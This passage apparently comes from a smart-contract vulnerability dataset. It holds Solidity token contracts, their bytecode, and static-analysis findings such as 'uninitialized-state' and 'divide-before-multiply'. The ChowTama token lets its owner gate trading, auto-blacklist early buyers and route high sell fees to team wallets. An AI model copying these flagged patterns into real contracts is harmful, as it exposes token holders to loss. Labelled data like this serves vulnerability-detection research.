0){ // add tokens to the pool tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); // take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder profitPerShare_ += (_dividends * magnitude / (tokenSupply_)); // calculate the amount of tokens the customer receives over his purchase _fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_)))); } else { // add tokens to the pool tokenSupply_ = _amountOfTokens; } // update circulating supply & the ledger address for the customer tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); // Tells the contract that the buyer doesn&#39;t deserve dividends for the tokens before they owned them; //really i know you think you do but you don&#39;t int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; // fire event onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy); return _amountOfTokens; } /** * Calculate Token price based on an amount of incoming ethereum * It&#39;s an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function ethereumToTokens_(uint256 _ethereum) internal view returns(uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( // underflow attempts BTFO SafeMath.sub( (sqrt ( (_tokenPriceInitial**2) + (2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18)) + (((tokenPriceIncremental_)**2)*(tokenSupply_**2)) + (2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) )/(tokenPriceIncremental_) )-(tokenSupply_) ; return _tokensReceived; } /** * Calculate token sell value. * It&#39;s an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function tokensToEthereum_(uint256 _tokens) internal view returns(uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( // underflow attempts BTFO SafeMath.sub( ( ( ( tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)) )-tokenPriceIncremental_ )*(tokens_ - 1e18) ),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2 ) /1e18); return _etherReceived; } //This is where all your gas goes, sorry //Not sorry, you probably only paid 1 gwei function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x6060604052600436106101525763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166265318b811461016c57806306fdde031461019d57806310d0ffdd1461022757806318160ddd1461023d5780632260937314610250578063313ce567146102665780633ccfd60b1461028f5780634b750334146102a457806356d399e8146102b7578063688abbf7146102ca5780636b2f4632146102e257806370a08231146102f55780638328b610146103145780638620410b1461032a578063949e8acd1461033d57806395d89b411461035057806396bc0f9414610363578063a8e04f341461038a578063a9059cbb1461039d578063b84c8246146103bf578063c47f002714610410578063e4849b3214610461578063e9fad8ee14610477578063f088d5471461048a578063f4fe9fad1461049e578063fdb5a03e146104bd575b600a54610169903490600160a060020a03166104d0565b50005b341561017757600080fd5b61018b600160a060020a0360043516610a7a565b60405190815260200160405180910390f35b34156101a857600080fd5b6101b0610ab0565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101ec5780820151838201526020016101d4565b50505050905090810190601f1680156102195780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561023257600080fd5b61018b600435610b4e565b341561024857600080fd5b61018b610b7e565b341561025b57600080fd5b61018b600435610b85565b341561027157600080fd5b610279610bbe565b60405160ff909116815260200160405180910390f35b341561029a57600080fd5b6102a2610bc3565b005b34156102af57600080fd5b61018b610c8a565b34156102c257600080fd5b61018b610cde565b34156102d557600080fd5b61018b6004351515610ce4565b34156102ed57600080fd5b61018b610d27565b341561030057600080fd5b61018b600160a060020a0360043516610d35565b341561031f57600080fd5b6102a2600435610d50565b341561033557600080fd5b61018b610d7e565b341561034857600080fd5b61018b610dc6565b341561035b57600080fd5b6101b0610dd9565b341561036e57600080fd5b610376610e44565b604051901515815260200160405180910390f35b341561039557600080fd5b6102a2610e4d565b34156103a857600080fd5b610376600160a060020a0360043516602435610e82565b34156103ca57600080fd5b6102a260046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061103595505050505050565b341561041b57600080fd5b6102a260046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061107595505050505050565b341561046c57600080fd5b6102a26004356110b0565b341561048257600080fd5b6102a2611203565b61018b600160a060020a036004351661123a565b34156104a957600080fd5b610376600160a060020a0360043516611246565b34156104c857600080fd5b6102a261125b565b60008060008060008060008060008a6000339050600c60009054906101000a900460ff16801561051257506801158e460913d000008261050e610d27565b0311155b1561080c57600160a060020a03811660009081526003602052604090205460ff16151560011480156105675750600160a060020a038116600090815260076020526040902054670de0b6b3a764000090830111155b151561057257600080fd5b600160a060020a0381166000908152600760205260409020546105959083611311565b600160a060020a038216600090815260076020819052604090912091909155339a506105c2908e90611327565b98506105cf896003611327565b97506105db898961133e565b96506105e78d8a61133e565b95506105f286611350565b9450604060020a8702935060008511801561061757506008546106158682611311565b115b151561062257600080fd5b600160a060020a038c161580159061064c575089600160a060020a03168c600160a060020a031614155b80156106725750600254600160a060020a038d1660009081526004602052604090205410155b156106b857600160a060020a038c1660009081526005602052604090205461069a9089611311565b600160a060020a038d166000908152600560205260409020556106ce565b6106c28789611311565b9650604060020a870293505b60006008541115610728576106e560085486611311565b6008819055604060020a88028115156106fa57fe5b60098054929091049091019055600854604060020a880281151561071a57fe5b04850284038403935061072e565b60088590555b600160a060020a038a166000908152600460205260409020546107519086611311565b600460008c600160a060020a0316600160a060020a031681526020019081526020016000208190555083856009540203925082600660008c600160a060020a0316600160a060020a03168152602001908152602001600020600082825401925050819055508b600160a060020a03168a600160a060020a03167f022c0d992e4d873a3748436d960d5140c1f9721cf73f7ca5ec679d3d9f4fe2d58f8860405191825260208201526040908101905180910390a3849a50610a6a565b600c805460ff191690553399506108248d6007611327565b9850610831896003611327565b975061083d898961133e565b96506108498d8a61133e565b955061085486611350565b9450604060020a8702935060008511801561087957506008546108778682611311565b115b151561088457600080fd5b600160a060020a038c16158015906108ae575089600160a060020a03168c600160a060020a031614155b80156108d45750600254600160a060020a038d1660009081526004602052604090205410155b1561091a57600160a060020a038c166000908152600560205260409020546108fc9089611311565b600160a060020a038d16600090815260056020526040902055610930565b6109248789611311565b9650604060020a870293505b6000600854111561098a5761094760085486611311565b6008819055604060020a880281151561095c57fe5b60098054929091049091019055600854604060020a880281151561097c57fe5b048502840384039350610990565b60088590555b600160a060020a038a166000908152600460205260409020546109b39086611311565b600460008c600160a060020a0316600160a060020a031681526020019081526020016000208190555083856009540203925082600660008c600160a060020a0316600160a060020a03168152602001908152602001600020600082825401925050819055508b600160a060020a03168a600160a060020a03167f022c0d992e4d873a3748436d960d5140c1f9721cf73f7ca5ec679d3d9f4fe2d58f8860405191825260208201526040908101905180910390a3849a505b5050505050505050505092915050565b600160a060020a0316600090815260066020908152604080832054600490925290912054600954604060020a9102919091030490565b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b465780601f10610b1b57610100808354040283529160200191610b46565b820191906000526020600020905b815481529060010190602001808311610b2957829003601f168201915b505050505081565b6000808080610b5e856007611327565b9250610b6a858461133e565b9150610b7582611350565b95945050505050565b6008545b90565b6000806000806008548511151515610b9c57600080fd5b610ba5856113e8565b9250610bb2836007611327565b9150610b75838361133e565b601281565b6000806000610bd26001610ce4565b11610bdc57600080fd5b339150610be96000610ce4565b600160a060020a03831660008181526006602090815260408083208054604060020a870201905560059091528082208054929055920192509082156108fc0290839051600060405180830381858888f193505050501515610c4957600080fd5b81600160a060020a03167fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc8260405190815260200160405180910390a25050565b60008060008060085460001415610ca8576414f46b04009350610cd8565b610cb9670de0b6b3a76400006113e8565b9250610cc6836007611327565b9150610cd2838361133e565b90508093505b50505090565b60025481565b60003382610cfa57610cf581610a7a565b610d1e565b600160a060020a038116600090815260056020526040902054610d1c82610a7a565b015b91505b50919050565b600160a060020a0330163190565b600160a060020a031660009081526004602052604090205490565b33600160a060020a0381166000908152600b602052604090205460ff161515610d7857600080fd5b50600255565b60008060008060085460001415610d9c5764199c82cc009350610cd8565b610dad670de0b6b3a76400006113e8565b9250610dba836007611327565b9150610cd28383611311565b600033610dd281610d35565b91505b5090565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b465780601f10610b1b57610100808354040283529160200191610b46565b600c5460ff1681565b33600160a060020a0381166000908152600b602052604090205460ff161515610e7557600080fd5b50600c805460ff19169055565b600080600080600080610e93610dc6565b11610e9d57600080fd5b600c5433945060ff16158015610ecb5750600160a060020a0384166000908152600460205260409020548611155b1515610ed657600080fd5b6000610ee26001610ce4565b1115610ef057610ef0610bc3565b610efb866007611327565b9250610f07868461133e565b9150610f12836113e8565b9050610f206008548461133e565b600855600160a060020a038416600090815260046020526040902054610f46908761133e565b600160a060020a038086166000908152600460205260408082209390935590891681522054610f759083611311565b600160a060020a0388811660008181526004602090815260408083209590955560098054948a16835260069091528482208054948c02909403909355825491815292909220805492850290920190915554600854610fe49190604060020a8402811515610fde57fe5b04611311565b600955600160a060020a038088169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a35060019695505050505050565b33600160a060020a0381166000908152600b602052604090205460ff16151561105d57600080fd5b6001828051611070929160200190611489565b505050565b33600160a060020a0381166000908152600b602052604090205460ff16151561109d57600080fd5b6000828051611070929160200190611489565b60008060008060008060006110c3610dc6565b116110cd57600080fd5b33600160a060020a0381166000908152600460205260409020549096508711156110f657600080fd5b869450611102856113e8565b935061110f846007611327565b925061111b848461133e565b91506111296008548661133e565b600855600160a060020a03861660009081526004602052604090205461114f908661133e565b600160a060020a03871660009081526004602090815260408083209390935560095460069091529181208054928802604060020a8602019283900390556008549192509011156111b6576111b2600954600854604060020a8602811515610fde57fe5b6009555b85600160a060020a03167fc4823739c5787d2ca17e404aa47d5569ae71dfb49cbf21b3f6152ed238a31139868460405191825260208201526040908101905180910390a250505050505050565b33600160a060020a0381166000908152600460205260408120549081111561122e5761122e816110b0565b611236610bc3565b5050565b6000610d2134836104d0565b600b6020526000908152604090205460ff1681565b60008060008061126b6001610ce4565b1161127557600080fd5b61127f6000610ce4565b33600160a060020a03811660009081526006602090815260408083208054604060020a870201905560059091528120805490829055909201945092506112c69084906104d0565b905081600160a060020a03167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab3615326458848360405191825260208201526040908101905180910390a2505050565b60008282018381101561132057fe5b9392505050565b600080828481151561133557fe5b04949350505050565b60008282111561134a57fe5b50900390565b6008546000906c01431e0fae6d7217caa00000009082906402540be4006113d56113cf730380d4bd8a8678c1bb542c80deb4800000000000880268056bc75e2d631000006002860a02017005e0a1fd2712875988becaad0000000000850201780197d4df19d605767337e9f14d3eec8920e40000000000000001611454565b8561133e565b8115156113de57fe5b0403949350505050565b600854600090670de0b6b3a76400008381019181019083906114416414f46b04008285046402540be40002018702600283670de0b6b3a763ffff1982890a8b900301046402540be4000281151561143b57fe5b0461133e565b81151561144a57fe5b0495945050505050565b80600260018201045b81811015610d2157809150600281828581151561147657fe5b040181151561148157fe5b04905061145d565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106114ca57805160ff19168380011785556114f7565b828001600101855582156114f7579182015b828111156114f75782518255916020019190600101906114dc565b50610dd592610b829250905b80821115610dd557600081556001016115035600a165627a7a72305820c93c2997103ddc0aec1db651518184465b908a99f67e21e7371727ec0c8408100029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
3,036
0x08f17d6dad5d5a17c2efcf4f535de922b9d6a723
/** *Submitted for verification at Etherscan.io on 2022-02-09 */ /* Twitter - twitter.com/ChowTama Telegram - t.me/ChowTamaPortal Website - chowtama.com */ //SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ChowTama is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "ChowTama";// string private constant _symbol = "CHOWTAMA";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 10; //Sell Fee uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 24; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xE4AEEaCf41aeddeba7fd346f67F92c8058D9A444); address payable private _marketingAddress = payable(0xC32Ce7d189da63a411ABc51F2Eebdab5924219C8); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = 1; _taxFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } //after 24 hours the sell tax will be reduced if(block.number > launchBlock + 6450){ _taxFeeOnSell = 9; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function OpenTrading() public onlyOwner { if (!tradingOpen) { tradingOpen = true; launchBlock = block.number; } } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function removeLimits() public onlyOwner { _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } }
0x60806040526004361061016a5760003560e01c8063715018a6116100d157806398a5c3151161008a578063c3c8cd8011610064578063c3c8cd8014610439578063d00efb2f1461044e578063dd62ed3e14610464578063f2fde38b146104aa57600080fd5b806398a5c315146103c9578063a9059cbb146103e9578063bfd792841461040957600080fd5b8063715018a614610324578063751039fc146103395780637d1db4a51461034e5780638da5cb5b146103645780638f9a55c01461038257806395d89b411461039857600080fd5b8063313ce56711610123578063313ce5671461027c57806349bd5a5e1461029857806351cd7cc3146102b85780636d8aa8f8146102cf5780636fc3eaec146102ef57806370a082311461030457600080fd5b806306fdde0314610176578063095ea7b3146101b95780631694505e146101e957806318160ddd1461022157806323b872dd146102465780632fd689e31461026657600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5060408051808201909152600881526743686f7754616d6160c01b60208201525b6040516101b09190611829565b60405180910390f35b3480156101c557600080fd5b506101d96101d43660046117c6565b6104ca565b60405190151581526020016101b0565b3480156101f557600080fd5b50601554610209906001600160a01b031681565b6040516001600160a01b0390911681526020016101b0565b34801561022d57600080fd5b50670de0b6b3a76400005b6040519081526020016101b0565b34801561025257600080fd5b506101d9610261366004611786565b6104e1565b34801561027257600080fd5b5061023860195481565b34801561028857600080fd5b50604051600981526020016101b0565b3480156102a457600080fd5b50601654610209906001600160a01b031681565b3480156102c457600080fd5b506102cd61054a565b005b3480156102db57600080fd5b506102cd6102ea3660046117f1565b6105a8565b3480156102fb57600080fd5b506102cd6105f0565b34801561031057600080fd5b5061023861031f366004611716565b61063b565b34801561033057600080fd5b506102cd61065d565b34801561034557600080fd5b506102cd6106d1565b34801561035a57600080fd5b5061023860175481565b34801561037057600080fd5b506000546001600160a01b0316610209565b34801561038e57600080fd5b5061023860185481565b3480156103a457600080fd5b5060408051808201909152600881526743484f5754414d4160c01b60208201526101a3565b3480156103d557600080fd5b506102cd6103e4366004611811565b61070e565b3480156103f557600080fd5b506101d96104043660046117c6565b61073d565b34801561041557600080fd5b506101d9610424366004611716565b60116020526000908152604090205460ff1681565b34801561044557600080fd5b506102cd61074a565b34801561045a57600080fd5b5061023860085481565b34801561047057600080fd5b5061023861047f36600461174e565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156104b657600080fd5b506102cd6104c5366004611716565b61079e565b60006104d7338484610888565b5060015b92915050565b60006104ee8484846109ac565b610540843361053b856040518060600160405280602881526020016119bb602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f81565b610888565b5060019392505050565b6000546001600160a01b0316331461057d5760405162461bcd60e51b81526004016105749061187c565b60405180910390fd5b601654600160a01b900460ff166105a6576016805460ff60a01b1916600160a01b179055436008555b565b6000546001600160a01b031633146105d25760405162461bcd60e51b81526004016105749061187c565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b0316148061062557506014546001600160a01b0316336001600160a01b0316145b61062e57600080fd5b4761063881610fbb565b50565b6001600160a01b0381166000908152600260205260408120546104db90611044565b6000546001600160a01b031633146106875760405162461bcd60e51b81526004016105749061187c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106fb5760405162461bcd60e51b81526004016105749061187c565b670de0b6b3a76400006017819055601855565b6000546001600160a01b031633146107385760405162461bcd60e51b81526004016105749061187c565b601955565b60006104d73384846109ac565b6013546001600160a01b0316336001600160a01b0316148061077f57506014546001600160a01b0316336001600160a01b0316145b61078857600080fd5b60006107933061063b565b9050610638816110c8565b6000546001600160a01b031633146107c85760405162461bcd60e51b81526004016105749061187c565b6001600160a01b03811661082d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610574565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166108ea5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610574565b6001600160a01b03821661094b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610574565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a105760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610574565b6001600160a01b038216610a725760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610574565b60008111610ad45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610574565b6000546001600160a01b03848116911614801590610b0057506000546001600160a01b03838116911614155b15610e7457601654600160a01b900460ff16610b99576000546001600160a01b03848116911614610b995760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610574565b601754811115610beb5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610574565b6001600160a01b03831660009081526011602052604090205460ff16158015610c2d57506001600160a01b03821660009081526011602052604090205460ff16155b610c855760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610574565b6008544311158015610ca457506016546001600160a01b038481169116145b8015610